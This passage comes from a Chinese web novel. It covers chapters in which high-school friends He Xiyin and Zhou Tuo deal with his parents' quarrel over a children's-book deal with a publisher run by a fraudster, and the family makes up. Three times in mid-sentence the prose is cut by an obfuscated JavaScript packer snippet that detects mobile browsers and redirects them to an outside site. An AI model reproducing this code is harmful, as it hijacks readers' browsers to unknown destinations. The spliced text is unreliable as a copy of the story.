“给你吧。”她说,“噢,我突然想起来,你是不是之前也中过一次再来一瓶。” “你也中过。又不是什么难事。”周拓拒绝那瓶可乐。 “为什么不要?”何希音问。 周拓叹:“我只喝百事。” “噢。对对对。你说过。”何希音拍脑袋,最近脑子真是成浆糊了,课本知识记进去,其他东西就被挤出来,前几天,他才强调过这事。她收回可乐,发出惊叹,“乔喻也是!只喝百事!” “你们俩真的好像啊!”她再次感叹。 周拓的脸黑得下一秒就能拧出墨,是不满的墨,是嫉妒的墨,冷苦的,酸涩的,稠稠的凝在心头。 “周拓,你家有冰块吗?” “有。” “给我加一点呗。” “好。” 周拓背身去拿冰块和杯子。 何希音含着可乐,细细品尝:“都是可乐,有什么差别?” 周拓端来一杯冰,拧开一瓶百事倒进一半,又拿过她正在喝的可口可乐把杯子的另一半填满。 何希音惊呼:“你这是干嘛?” 周拓面无表情:“反正你觉得没差不是吗?” 尖酸的语调刺在她眉间,她蹙眉,脑子仍是懵圈的状态:“你怎么了嘛。你不喜欢我和乔喻出去玩?” “不是。”周拓否认。 “肯定是。”除此外,何希音再找不到理由了,加入校乐队,要学吉他,鸽周拓的次数越来越多,很多事周拓也不再是第一个知道的。 “真的不是。”周拓再次否认,态度更坚决。 何希音问:“那是什么?” 周拓说:“任何人都不像我。” “我不想听到你说他像我。” 9. 青瓜撞奶 最近周拓疑似是心情不好。 疑似…… 因为他向来少语,且能忍。他的情感是内敛的,隐秘的,何希音很少觉察,一度怀疑他是机器人,随着年龄增长,她知道以目前的科技水平是无法制造出周拓如此拟人的机器人,她才放弃这个猜想。 但他最近很不正常。 非常不正常。 周末,两人一起写数学卷。 最后一道大题,何希音噘嘴想了好久也没思路,提前结束答卷。 她按下面前的计时器,转头看周拓,他只做完一面,第二面还空着,自动笔点在卷面发呆,面前的计时器响了很久,还是何希音按掉的。 她问:“你怎么了?” “题难。走神了。”他漫不经心的。 “题难?!!”何希音几乎是叫出来了,这两个字竟然会从他嘴里说出来,她抬手摸他前额,没发烧,又低头看卷子,哪有很难,就是普通练习卷。 “前面的题你也觉得难?!”她指着空白的送分题问。 “哦。我在想事。”周拓捏鼻梁骨,语气仍是很淡。 “想什么事?”何希音继续问。 周拓说:“物理题。” “啊?”何希音更震惊了,这周末根本没布置物理作业啊,近期也没有物理竞赛,“什么物理题?哪来的物理题?” “课上的。” “周三上的物理课?” “嗯。” “三天了。你还在想课上的题?” “嗯。” “啊?可是……那天物理不是讲新课吗?没有难题啊。” “哦。是课后物理老师说的。”他眼眸低垂,说话有气无力,含在嘴里,含糊不清。 前言不搭后语的话引起何希音的注意,她再三询问周拓没事吧,得到的都是没事的回答。 他都说没事了,何希音也没办法。 她收拾好书包:“我回家啦。” “哦。”他坐在原位,笔尖在纸面打转。 “周拓,明天你要和我去科技馆吗?” “哦。” “去啊?” “哦。” “不去啊?” “嗯。” 纸面的黑点逐渐圆润,越来越大,占据半个答题版面。 何希音捏着他肩膀晃:“周拓。周拓。你有没有在听我说话啊!” “你说什么?”他抬眸,无辜的眼神透着单纯。 何希音翻白眼:“我问……你要和我去科技馆吗?” 周拓说:“不去了。抱歉。” “你明天有事?”何希音背上书包。 他想了一会,诚实回答:“也没有。” 何希音叉腰:“那为什么不跟我去?” “我想在家写题。”他指着空白的数学卷,“我作业没写完。” “好吧。放过你。” “我送你出去。” “好呀。” 何希音坐在玄关穿鞋,周拓两手环胸地靠在鞋柜边,没骨似的,模样憔悴又颓废,这两个词在他脸上出现也很异常。周拓非常自律,高中住校,何希音早上在宿舍阳台刷牙就能看到他在楼下操场跑步,两耳都挂着耳机,应该是在听慢速VOA。 她仔细瞧,发现他脚上的袜子一边白,一边红。 难怪她一直觉得哪里奇怪。 她揪住周拓袖子:“你快醒醒!你袜子都穿错啦!” 周拓低头,眼神空洞,看到穿错的袜子也没什么反应,淡然道:“班上流行穿不同款,我试试。” 何希音眯眼:“你什么时候这么潮流了?” 周拓挠头:“试试而已。” 这一刻,他真实的尴尬才像个人,像周拓。 “不好看?”周拓问,弯腰去脱,“那我换掉。” 何希音阻止:“没有不好看啦。只是你平时都很严谨,忽然出这么多差错,我觉得很奇怪。我以为你有什么事呢。没事就好啦~穿着吧。红白配。挺好看的。你应该穿中筒袜,这样露在外面,别人才能看见。藏在鞋里一点不酷。” “嗯。”他点头。 “我走啦!”何希音挥手。 周拓却叫住她:“希音。” “你说。” “周四放学,物理老师拿了几道提高题给我,我现在还没解出来。周一有物理课,老师应该会问我,所以一直在想那几道题。” “这样呀。我知道啦。”她按着他的腰往屋里推,“那你赶紧去解题吧。拜拜。拜拜。不用送我啦~” 走出单元门,何希音更笃定周拓绝对有问题。先是做数学题发呆,然后是问话不回答,最后竟然那么认真的解释,像是要掩盖什么。 问题是—— 他有什么可隐瞒的呢? 对何希音而言,周拓是全世界最好相处的人,他简单直接,没有那么多弯弯绕绕,一直是她问他答。 如此真诚,从不说假话的人,今天却支支吾吾。 可见此事绝不一般。 问他是没戏了,周一课间,何希音去找孙舟。 孙舟是周拓的头号迷弟。 这人初中就认识周拓,和他参加过同个数学竞赛,孙舟第一轮就淘汰了,周拓是那届的金奖。 高中两人同班,孙舟对他崇拜得五体投地,经常捧着各种题去问他。 孙舟不住校,走读生的校卡可随意进出校门,他一拍胸脯说‘老大需要什么,都可以帮忙带进来’。周拓婉拒,说他不是什么老大。但孙舟一直这么叫。 周拓用不上他,何希音需要,她馋校外的奶茶,隔三差五让孙舟帮忙买。孙舟全答应下来。 于是,何希音成了他第二个老大。 “孙舟。”她叫住他。 孙舟两只耳朵都竖起来,飞快冲过来:“怎么了!是不是周拓用什么新练习册了?!” 孙舟很关心周拓在做什么提高题。何希音问过周拓介不介意让他知道。周拓说不介意。有时候周拓会主动多印一份给他,有时候周拓忘了,就是何希音带一份给他。 何希音摇头:“我觉得他不对劲。” “哪里不对劲?”孙舟比她激动,“下个月有数学竞赛啊!他可不能生病啊。我打听过了,这次六中特训班的尖子要参加呢!” 何希音按住他肩膀:“没生病。是别的事。” “你说。”孙舟安静下来。 何希音把周末的种种怪事说了。 孙舟眯着眼,一会挠头,一会摸下巴:“确实不对劲。这可是数学卷。他怎么可能写得比你还慢。” 何希音敲他脑袋:“你什么意思?我很笨吗!” “不是不是!老大!你怎么会这么想。”孙舟语无伦次地解释,“周拓的数学你又不知道,年段前几的。” 何希音继续刚才的话题:“你也觉得不对劲吧。” “是的。相当不对劲。” “那你知道什么吗?” “不知道。” 何希音撇嘴:“要你何用。” 孙舟眼睛一转,想到一事:“你说他在想物理题。那我就去问他物理题。如果他说不出来那个题,说明在撒谎。” “好主意!”何希音叫好。 两人脑袋凑近,如此这样盘算一番,各自分头行动。 孙舟负责去戳破谎言。 何希音负责继续找破绽。 何希音课间哪也没去,就站在走廊,在两个班的交界处,两手环胸地盯紧他。周拓除了埋头写题,和同学讲解题目,别的什么都没做。 一直到午休时间,他离开教室,下楼,往宿舍区走。 何希音才匆匆跑进班里,坐到孙舟身侧。 “你发现什么了?”她迫不及待地问。 孙舟没回话,两只手肘拄在桌面,手掌拖着下颌,眼眸低垂,盯着桌面的一张物理习题纸,上面是周拓的字迹,解题用的是黑笔,公式注解用的是蓝笔。思路很清晰,甚至写了两种两种解法。 何希音抬手在他眼前晃:“嘿。问你话呢。” 孙舟说:“没破绽。这几题真是挺难的。还是物理和化学的综合题呢。他怎么想出来的呢。他怎么这么厉害。我要是早点认识他就好了。那我的物理和数学是不是能提高一些呢?唉……他的脑子是什么做的?怎么想出来的?” 何希音语塞。 得,白问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240945|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 早上得到的结论,这刻被孙舟彻底推翻:“我觉得他没问题。” 两人持着两种不同观点,谁也说服不了对方。争执不休之际,透过窗户,看见周拓站在操场跟一个女生说话。 两人不约而同地拉着凳子往前,操场距离实在太远,周拓和女生像两粒像素,看不见表情,听不见对话,只能通过肢体语言推测两人在说什么。 孙舟说:“来送情书的吧。” “嚯。”何希音震惊,“还有人给他送吗?” “是啊。很多啊。”孙舟掰着指头数,短短半学期,以各种理由来班里找周拓的女生几十个,收到的情书十几封,“但周拓都没收。” “噢。不对。他收过一次。”孙舟拍大腿。 “噢?说来听听。”何希音侧耳。 孙舟说:“有个女生来借他的数学笔记,还回来的时候在笔记里贴了几个纸折的粉色爱心。周拓没注意,收下笔记本,等要看的时候,翻开才发现。” “然后把爱心退回去了?”何希音接着说。 孙舟却卖起关子:“非也非也。” “周拓把笔记本拿去给她。说……”他清嗓子,板着脸,学周拓的语气,“这个地方不是重点,不要随便贴符号。请你把笔记清理干净,再还给我。” “那个女生当时脸都黑了。” 何希音笑得肚子疼:“不愧是周拓。脑回路果然异于常人。” 孙舟说:“估计这回也不会收吧。” “估计不会。他脑子里只有学习。”何希音赞同。 然而,下一秒,周拓就伸手收下女生递给他的东西,他真的收了,还放进包里了。 两人惊掉下巴。 孙舟结巴,一会指周拓,一会指何希音:“我以为他……你……” 何希音看他手指自己,脸颊憋红,打掉他手指,惊得音调尖锐:“你别乱说噢。我和他……和他是……”她却顿住,他们是什么呢?比好朋友更要好,说是青梅竹马又太暧昧,是兄妹?呃……更奇怪了。 隔了一会,她才说:“我和他是研究员和机器人。” 孙舟瞪大眼:“什么?” 何希音认真道:“是的。我是负责测试他的研究员。” ~ 晚自习结束,何希音在教室又待了一会,把提高题写完。 等全部写完,班级没剩几个人了,都回宿舍了,她背上包,从后门离开。准备下楼时,看见周拓还坐在班里,他的位置靠窗,看得很清楚。 他像周末那样,雕塑般坐着,一动不动,像是在想题,又像是在发呆。 他们班空得只剩他一个人了。 前排的吊灯都关了。只有他头顶那盏灯亮着。 何希音走进去,一直走到他身边。 “周拓。” “嗯?”他恍惚。 何希音卸包,坐下:“你有什么想跟我说的吗?” “没有。”周拓捏鼻梁骨,眼神困倦,“我觉得很累。” 他趴在桌上,脸朝她,闭着眼,呼吸浅浅,长睫煽动。 何希音也趴下来,脸朝他,闭着眼睛。 夜深了,窗外的虫鸣阵阵,树叶沙沙作响,斑驳的树影投在两人脸上,何希音眯着眼,能看见朦胧的月光。风穿过缝隙,拂过他的脸颊,再落到她脸上。周拓总是在晚自习前洗澡换衣服,身上带着干涩的皂香。 很细腻,很内敛的味道。 周承安说周拓不够细腻,直来直去。 何希音不认同。 周拓也许不能理解每一种感情,但他很敏锐,总是最先觉察到何希音的不开心,无论她装得多好,他都知道。 这世界上不会有人比周拓更了解她。 同样的,不会有人比她更了解周拓。 何希音忽然睁开了眼睛。 而周拓同样是睁着眼睛。比她更早。他侧着脸,贴在桌面,就这么看着她。两个人之间隔着半张桌的距离,对方的脸清晰地印在两人颤动的瞳仁。安静的教室,呼吸、心跳都听得一清二楚,两人的心跳都快得异常,但又异常得同频。 周拓忽然伸手,盖住了她的眼睛。 “周拓?” 10. 青瓜撞奶 视觉被没收,其他感官就变得异常灵敏。周拓似是很紧张,手指轻颤,掌心很热,身上的那股皂香更浓郁,也更凌冽,只是闻,都陡增寒意。 她的杏眼圆润,盛满关切。 此刻周拓最看不得这样的眼神,尤其是她的。像责问,像生气,像……雨沾湿的花瓣,一片又一片地黏在心尖,轻柔却沉重。 “周拓。你不开心对不对?” “是。”这次他选择诚实。 他松开手,忽然弓下背脊,颓然地靠在窗边,手捏着水笔转圈。这是他特有的排解方式,想不出解法,无聊时,烦躁的阴雨天,都会这样水笔绕着修长又凸出的指骨转圈。 “为女生送的情书烦恼?”何希音试探。 周拓却茫然,眼神带着几分诧异,仿佛是第一次听这个词,又略带几分嫌弃,好像在说‘你没事吧’? “哪来的情书?”他反问。 何希音说:“中午那个女生在操场送你的呗。你不是收了吗?” 周拓扶额,更添几分无语。 他抽出一张纸:“她是来问我物理题的。” 何希音接过,还真是张练习卷,前面小题都写完了,用红笔订正过了,只剩后面的大题,周拓已经写上他的解答。真的只是问题吗?可那女生手始终捏着刘海,含羞带臊的。 何希音举着卷子,月光透过试卷,背面还有一行字。 她翻过来。 背面写着—— ‘这个周末要不要一起去海洋馆?’ 周拓同样解答了这个问题。 ‘抱歉。我没时间。’ 何希音说:“这才是她想问的。” 周拓平淡的:“哦。我也回答了。” 他拧眉,对她让他解答物理题她也许根本不看的行为难以理解,甚至有些许不满:“她明明可以直接问这件事。” 何希音猜测用意:“不好意思吧。可能是想着你写完物理题就看到这句。也可能是写在试卷后面,没那么正式,被拒绝了不会很尴尬。” “你想知道的我会直接告诉你。你不必费心去找孙舟。”他说。 话题转换得好快,何希音反应了几秒,坐正身体:“好啊。你说吧。你最近怎么了?” “我爸妈可能要离婚了。” “什么?!” “嗯。” 何希音下颌都要惊掉了。蒋素和周承安在她眼里恩爱得像新婚夫妻,蒋素素雅利落,周承安浪漫纯粹,一个安静,一个健谈,性格很互补。前一次,她跟他们去露营,周承安提前做好一提篮的食物,给蒋素的那份煎蛋是爱心,寿司是爱心,连点缀的番茄都串成爱心。 她抱紧手臂说:“周叔叔好肉麻啊。” 周承安遮住她和周拓的眼睛:“小孩别看。” 不过那是两年前的事了。 高中要住校,周末还要去音乐教室学吉他,她很少去周家,不清楚两人的现状。蒋素是医生很忙,周承安是居家工作的插画师,几乎包揽下全部家务。周承安说他喜欢清洁,是一种解压方式,画不出稿子时,就拿着抹布进行大扫除。 她更疑惑:“他们有什么矛盾能闹到要离婚的地步?” “为我爸要出书的事。” “哇!周叔叔要出书啦!”何希音听到这个消息,欢欣鼓舞,眼睛都亮了。周承安目前的工作是给儿童杂志画插图,他的绘图本攒了许多连载漫画,以前就听他说总有一天要出版童话书,但总也没动静。 “周叔叔如愿以偿了。这是好消息啊。他们为什么吵架呢?” “我妈对他选择的出版社意见很大。” “这家出版社的老板是诈-骗-犯。”他说。 何希音倒吸冷气,这个词对她来说不陌生,常在新闻看到,但组合在一起可太怪异了。 “诈-骗-犯怎么会开出版社!那不是应该在监狱里吗!”她咬牙切齿。 周拓说:“具体我也不清楚。以前是做保健品的,上过新闻的,虚假宣传骗了很多人,不知道为什么没坐牢,可能是赔款了吧。现在又转行来做出版业。” “周叔叔为什么要和他合作?” “我爸本来就在和这家编辑谈出版了,但出版社经营不善,快倒闭了,这个人把出版社收购了,成为新老板。我妈希望他不要继续合作,结束这个项目,反正还没签约。” “周叔叔不愿意?” 周拓叹:“他觉得这个人只是出资。出版社的实际工作还是原先的几个编辑在负责。” “能出版自己的故事是他的梦想。他不想错过这个机会。” “我知道。周叔叔跟我说过好几次。”何希音每次去他家,周承安都会让她看新绘制的童话。 “他们吵得很厉害吗?”她问。 周拓摇头:“之前总吵。最近沉默很多。” 听到这,何希音的心咯噔一声沉了,冬天的海水都不如此刻凉。相似的情况出现在牧辽和何乐仪离婚前夕,沉默是另一种形式的争吵,互相较劲,谁也不肯低头,直至把感情消耗殆尽。 她拍了拍周拓肩膀:“会好起来的。” 何希音背过身,翻书包,翻了好久,找出周拓当初送她的两个发卡。她很喜欢这两个发卡,经常戴着,时间久了,胶水松动,粉色小熊和蓝色小狗脱落,她扔掉发卡,把两个卡通头粘在金属书签上。 她把两个书签放在他的课本上。 周拓笑:“我送你的那两个?” “对。我做成书签啦。” “你要送给我?” “不是。是借给你。”何希音的指尖戳戳小熊,又摸摸小狗,“这是我的。只是借给你用。你心情好的时候就用这个粉色的,心情不好的时候就用这个蓝色的。” 周拓继续问:“然后呢?” 何希音撇嘴:“然后我就知道了嘛。” “知道以后呢?”他还是问。 何希音拍胸脯:“我自有妙计。” 何希音的妙计很简单,就是复制周拓之前做的。 周拓可能是想看她能做什么,自从拿到那两个书签,一直在用那个蓝的。 游乐园去了,薄荷糖买了,狗腿子也当了,周大少的书上仍执着地挂着那个蓝色书签。阴郁小狗头不在书上,在何希音的脸上。 何希音两手叉腰:“周拓!!你不要得寸进尺。” “我有吗?”他眼神无辜,语气懵懂,眉尾却得意地挑起。 “怎么没有!”何希音鼓着嘴。 周拓说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244009|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我让你化妆,陪你试萝莉服,高烧三十九跟你去博物馆……” “知道啦!”何希音抓住两只耳朵往上提,像要把耳朵拉成长耳驴,“我两只耳朵都听到啦!” 她压下怒火,抿嘴笑,和颜悦色的:“请问少爷还有什么吩咐?” 周拓想了会,拍她肩膀:“无事。退下吧。” “是。”何希音恭敬回答。继续低头写题。眼睛看着题目,脑海里想的却是周拓,手里的笔也停住了。 周拓说的事,真的都是他陪她做过的。 那段时间,他非常好说话,何希音提出多离谱的要求他都答应,陪她发疯,扮丑也无所谓。她故意给他扎小辫,拿妈妈的化妆品给他化妆,谁成想周拓女装也很好看。 博物馆有文物巡回展,票很难抢,她期待了好久,周拓发烧也陪她去。 一直到晚上回家,他晕乎乎的,走得很慢。何希音一摸额头,才知道他生病了。 她很愧疚,斥责他怎么不早说。周拓却说是他逞强了,出门的时候只是低烧没想到会这么严重。 他还说:“我不希望你难过的时候是一个人。” 这句话是他对她的承诺。 他也做到了。 父母要离婚,家庭的变故是最令人难受的。这种难受很被动,很无力,没有什么能做的,只能不停安慰自己去接受。 何希音经历过,特别理解。 她放下笔:“周拓。” “怎么了?”他转过来。 “你有想过和他们说开吗?”她问。 周拓轻松的神色瞬间消失,眼中阴郁浓如稠墨。他拧着眉,沉默许久。 “说开能改变什么吗?” “说开他们就不离婚了吗?” “呃……”何希音噎住。多年前那种无力感再次席卷而来。 她也沉默良久,才说:“总是要面对的。不问,会天天提心吊胆,想调节他们的关系,又觉得插手不好,说话不对,沉默也不对,做什么都不对。” “知道以后我要做的就只剩想办法说服自己去接受。” “这个过程同样难受。但比现在这样好。” “真的。” 她试着用亲身经历告诉他怎么做更好。 周拓仍是神情复杂地看着她。 她换了个角度:“离婚是他们的事,但家庭变故是我们的事。我们有资格问的。” “怎么问?”他态度松动。 何希音仰着头想:“一会我帮你铺垫一下?你再问吧。” 周拓应‘嗯’。 晚餐时间,四个人坐在餐桌边。蒋素和周承安坐在她对面,何希音顿感压力,有点后悔揽下这个活,眼尾余光瞥见周拓,又鼓起勇气。 或许是周拓说父母关系紧张,让她更难面对两人,斟酌再三,尝试从周承安这找突破口:“周叔叔最近怎么样呀?我好久没来你们家吃饭啦。我想你做的菠萝炒饭了。” 周承安说:“那简单。我下次给你做。” “好呀好呀。”何希音笑嘻嘻。 但下秒就没话了。 她咽唾沫,脑中飞速运转。 然而,周拓直接开口—— “爸,妈,你们会离婚吗?” 11. …… 何希音噎住。明明嘴里什么都没有,嗓子却被堵死,彻底失语。内心有个小人在狂喊‘说好的铺垫呢!’‘周拓你在干嘛啊!’小人又喊又跳,在心里跑了八百米,尴尬的脚趾也扣出一套别墅,对面的两人还没回答。 何希音有些崩溃,更多的还是懊悔。 懊恼不该掺和周拓的家事。 懊恼她此刻不该坐在这里,应该趴在桌底。 蒋素问:“为什么这么问?” 周拓说:“前一阵你们一直吵架。” “这是大人之间的事。”蒋素打断。 周拓却说:“如果你们要离婚,我不想是被通知的那个。出版是爸爸的梦想,他想坚持可以理解。出版商是个新闻曝光的诈-骗-犯,你的出版合同会不会有问题,妈妈的担心是合理的。你们两个人谁都没错。为什么吵得这么厉害?各退一步不行吗?” 何希音在旁边狂点头。 周承安显然被他的话惊到,张大嘴,眼睛眨个不停,他看蒋素,她仍拧眉撇嘴,瞧他看过来,眉头锁得更紧。 “我不同意你和这个出版社合作。”蒋素再一次亮明态度,她十分坚决,谁劝也动摇不了。 周拓转而劝周承安:“以后肯定还有机会的。” 周承安点了点头,似是答应下来了。 周拓问:“你们还会吵架吗?” 周承安说:“不会。” “耶~都解决啦!”何希音鼓掌。 周承安笑:“你们俩想这些话想很久了吧?” 何希音指周拓:“对啊。他想很久了。” ~ 晚餐过后,周拓送何希音回家。两人的家只隔着两栋楼,但周拓坚持要送。 他们站在楼下说话。 何希音手抓着书包带,有些别扭,问题以周承安的退让为结局,但真的解决了吗?饭桌上,他的笑一直很勉强。周拓赞同蒋素的话,等于站在他的对立面,三个人的态度像一座高墙,把他困在里面,不得不低头,不得不答应。她觉得周承安的不甘心是颗隐-雷,不彻底解决,迟早会爆-炸。 她把这些想法告诉周拓。 周拓深呼吸,又叹息:“我再和爸爸聊一聊吧。” ~ 回到家,蒋素在书房工作,周承安站在阳台喂鱼。他站在那,眼眸低垂,指尖敲打水面,拨开层层涟漪,金鱼争先恐后地游向他,探出水面咬走他指尖沾染的饲料。 周拓沏了杯热茶端到阳台。 周承安瞧出来意:“想说什么?” 他放下饲料罐,坐在茶几左侧,周拓坐在他对面。 周拓尖锐直接的个性在此刻成了优势,他不懂委婉是何物,直白说出内心想法:“爸,我和妈妈都知道出版对你有多重要。你出版的目的是让更多孩子看到你的故事。一本送给孩子的童话书不应该沾上那种人。” “他是诈-骗-犯。新闻说很多人买保健品买的倾家荡产了。被他骗的人没有重来的机会,他凭什么东山再起?” “爸。”周拓叹,“我不是支持妈妈。我是不想你后悔。” “一旦坐上这条船就没有回头路了。” 这次周承安如此坚持要和这人合作,周拓特别意外,在他眼里爸爸真诚正直,他相信生活里有奇迹和英雄,才会创作出深受孩子喜欢的童话短篇。这次,爸爸是怎么了? 周拓眉头紧锁,忽然有个可怕的猜测:“你有把柄在他手上?” 周承安微讶:“当然没有。” 周拓摆出同款震惊脸:“那你为什么非要和他合作?” “我……”周承安欲言又止,抬头瞧了眼里屋,声音低了些,头也低下去,愧疚又不甘地说,“签约金多。而且……他说他会重点宣传这本书。” 周拓好像懂了。 这个诈-骗-犯当初把保健品广告放到电视台宣传,请所谓的专家站台,一传十,十传百,才会有那么多人知道,那么多人相信,那么多人购买受骗。 这个人手上的媒体资源少不了,转来出版文化业,主打的也是宣传,提高购买力。 这么一听,他更担忧了。 那人因为虚假宣传被判罚过,现在就能改好吗?他会想什么方法帮爸爸宣传呢?这次他藏在幕后,站在台前的可是周承安。 其中利害关系,周承安肯定比他明白。 他搭在周承安肩上的手不自觉拧紧,像是在用痛感提醒他别做出格的事。 “难怪妈妈那么生气。我不同意你和这种人合作。我不想要看到你在法治新闻里出现。” 周承安笑:“哪有那么严重。宣传书而已。” “爸。你这么着急出名吗?” 这句似是触到周承安痛处,眼神即刻黯淡。他捧着热茶,捏着杯子在掌心转圈,烫得指尖红通通的。 他说:“我的大学同学有的毕业就转行了,没转行的有的去大厂当美工,有的当设计师,都买大房子了呢。” 周拓嗤之以鼻:“你怎么不说那个在博物馆工作的叔叔?” 周承安还是叹:“毕业的时候,导师说我是这届学生里最有灵气的。可是现在呢?” 周拓接话:“现在你给杂志画短篇童话,给童话书画插图。不用朝九晚五地去坐班。收入还稳定。” “爸。我觉得现在的生活很好。” “真的。” 周拓起身,站到他身后,两手都搭上他肩膀,又锤又揉的:“爸。快打消合作的念头吧。” “好啦好啦。”周承安笑,这次他的笑容不再勉强,多了几分释怀。 “原来你是这么想的。”蒋素不知何时站到两人身后。 周拓让开位置。 蒋素踏入阳台,手高高扬起,却轻轻落下,拍在周承安的后脑勺:“你真是呆子。为了几平米的房子要出卖自尊,出卖灵魂。” 周承安挠头:“没这么严重吧。” 蒋素叉腰:“这人赚来的每一分钱都是那些老人的血汗钱。他们花高价买来以为能治病的保健品,最后钱没了,病也没治好,打官司还不一定能赢,得到的赔偿少之又少。你拿这种人的钱,你不难受吗?” 周承安的手捂着胸口:“是难受。” 蒋素的手搭在周拓肩膀。儿子现在比她高出许多,他长高了,懂事了,很多事不需要避着他,也是今天晚餐,蒋素才意识到两人吵架给周拓带来的伤害影响,她和周承安的感情不是两个人的事,也关乎周拓。 她说:“我和儿子对现在的生活很满意。我们不想住在用丧良心赚来的房子里。” 周拓附和:“我不愿意。” 周承安说:“我知道该怎么做了。我会拒绝这个合作。” 蒋素反复确认:“心甘情愿的?” “是的。心甘情愿。”他点头。 蒋素松了一口气:“我很喜欢的画。你一定会出版。会等到真的欣赏你,懂你的出版商。而不是一个想靠童话书洗白自己的黑心商人。” 蒋素拿过他的杯子,抿了口清茶。是他最喜欢的白牡丹茶。 她想起两人第一次见面的场景。 那时她还在读研,临近期末,医学生的期末是很痛苦的,未来病人会生什么病没人知道,所以整本书处处是重点。图书馆被占满,蒋素背包去校外咖啡厅写题。咖啡提神也让人睡不着,过早透支身体总是不好的。她点了一杯名叫‘白毫银针’的白茶。 店员把茶端上桌。 还没来得沾口,对面忽然坐了个人,一个男生,看上去和她差不多大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250830|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但穿着涂鸦卫衣,看着像会在街边吐口香糖的混球。 她拧眉,有些不开心。 那人开口提醒:“他上错茶了。这是白牡丹。” 她低头,仔细看眼前的杯子。 玻璃杯里是淡黄色的茶汤。 她看不出有什么不同,仔细闻有股淡淡的花香,和她以前点的白毫银针差不多。她分辨不出,但那个男生很肯定。 她转过头,吧台那边单子很多。 她懒得去换,什么茶都行,只是她坐在这自习的费用罢了。 她说:“谢谢你。但无所谓了。我喝不出差别。” “没事。”男生端着茶杯离开。 整个考试周,蒋素都在那家咖啡厅写题,从早坐到晚,茶水一杯杯地点,巧克力蛋糕吃了一块又一块。终于到最后一天,早上有考试,她在学校吃过午饭才来,刚坐下,那个男生走过来:“今天是你最后一天考试吗?” “是。”她有些意外。 这个男生这些天同样是天天来这,坐在她对面的桌子,拿着绘画板埋头画画。早上来,他在。中午来,他在。晚上来,他还在。似乎也是把这当成了工作地。 “你怎么知道?”她问。 男生指桌面:“今天你只带了一本书。” “今天的茶我请你吧。” “为什么?” “因为……你很漂亮。”他身上的卫衣颜色浓烈,此刻的笑却有些腼腆,他抿着唇,在等她的回答。 蒋素道谢。 他拿出一张纸:“送你。” 他这些天都在画画,蒋素想可能是学艺术的吧。她以为他送的是素描图,没想到是一张漫画。画上的她穿着白大褂,一手拿着针筒,一手拿着病历本。针筒很长,针头是剑的形状,病历本则是盾牌。 “你是画漫画的吗?”她收下,夹在书里。 “差不多吧。我给儿童杂志画插图。我是美院毕业的。我叫周承安。”他介绍完自己,掏出钱包,“你想喝什么?还是白毫银针吗?” 蒋素指着他桌上的杯子问:“你喝的是什么?” “白牡丹。” “我也要那个吧。” “好。我去买。” 周承安不是第一个来搭讪的男人,却是最让她觉得舒服的一个。可能是他长得不错,可能是他声音好听,也可能是他画的她很漂亮。 周承安端来两杯茶。 他还是买了白毫银针。她这些天一直点的茶。 蒋素两种都喝了:“我真的分不出来。你怎么分的呢?” 周承安说:“香味不同。白牡丹的花香更浓一些。” 蒋素端起杯子,又喝了一口。 她喝的时候,周承安说:“仔细尝,牡丹会在舌尖绽开。” 他这么一说,蒋素真的喝出差别了,这种差别很细微,就像他说的,喝白牡丹时,牡丹花会在舌尖绽开,鼻腔都充斥着花香。 “你很喜欢白牡丹?” “这是我最喜欢的茶。” “我记住了。”蒋素拿手机记他的号码,输入他的名字,“你叫周承安。承载的承。平安的安。” 看着周承安,时光拉回如今,他们已经结婚二十年了。蒋素握住他的手:“我们在一起的时间还有很长,我会陪你等到被赏识的那一天。” 周承安点头,伸手将她揽入怀中。 周拓扶额,转身离开。前一秒,他还是爸妈牵挂的儿子,这一秒,就成了多余的电灯泡。 他口袋里的手机震动。 何希音发信息来问‘叔叔阿姨和好了吧?’ 阳台那边传来肉麻的情话,周拓加快脚步关进房间,指尖在手机键上飞速按下回复—— [他们在相爱。] 12. 柠檬软酪 刚过六月,气温突然攀升,操场两边的芒果树叶子还没绿,却已有了夏意。 临近期末,音乐美术都结课了,只剩体育课。上课铃没响,游泳馆的更衣室已挤满人,简单热身后,岸上瞬间空了,池子里各种姿势的都有。 何希音选游泳课的目的就是摸鱼,光明正大地站在池子里假装自己是一只鱼。她找到属于自己的角落,仰着头,背靠水池,发呆。 室友徐子欣游到她身边。 两手抬起,撑在地砖,摆出同款摸鱼脸。 她直叹:“好无聊啊。游泳课为什么这么无聊?!” 何希音笑:“那选什么不无聊?你想想他们选排球的,这学期练颠球,两只手腕都打肿了。咱们选游泳课很爽了。期末考就是一百米。早早考完。现在只要泡在水里摸鱼。” 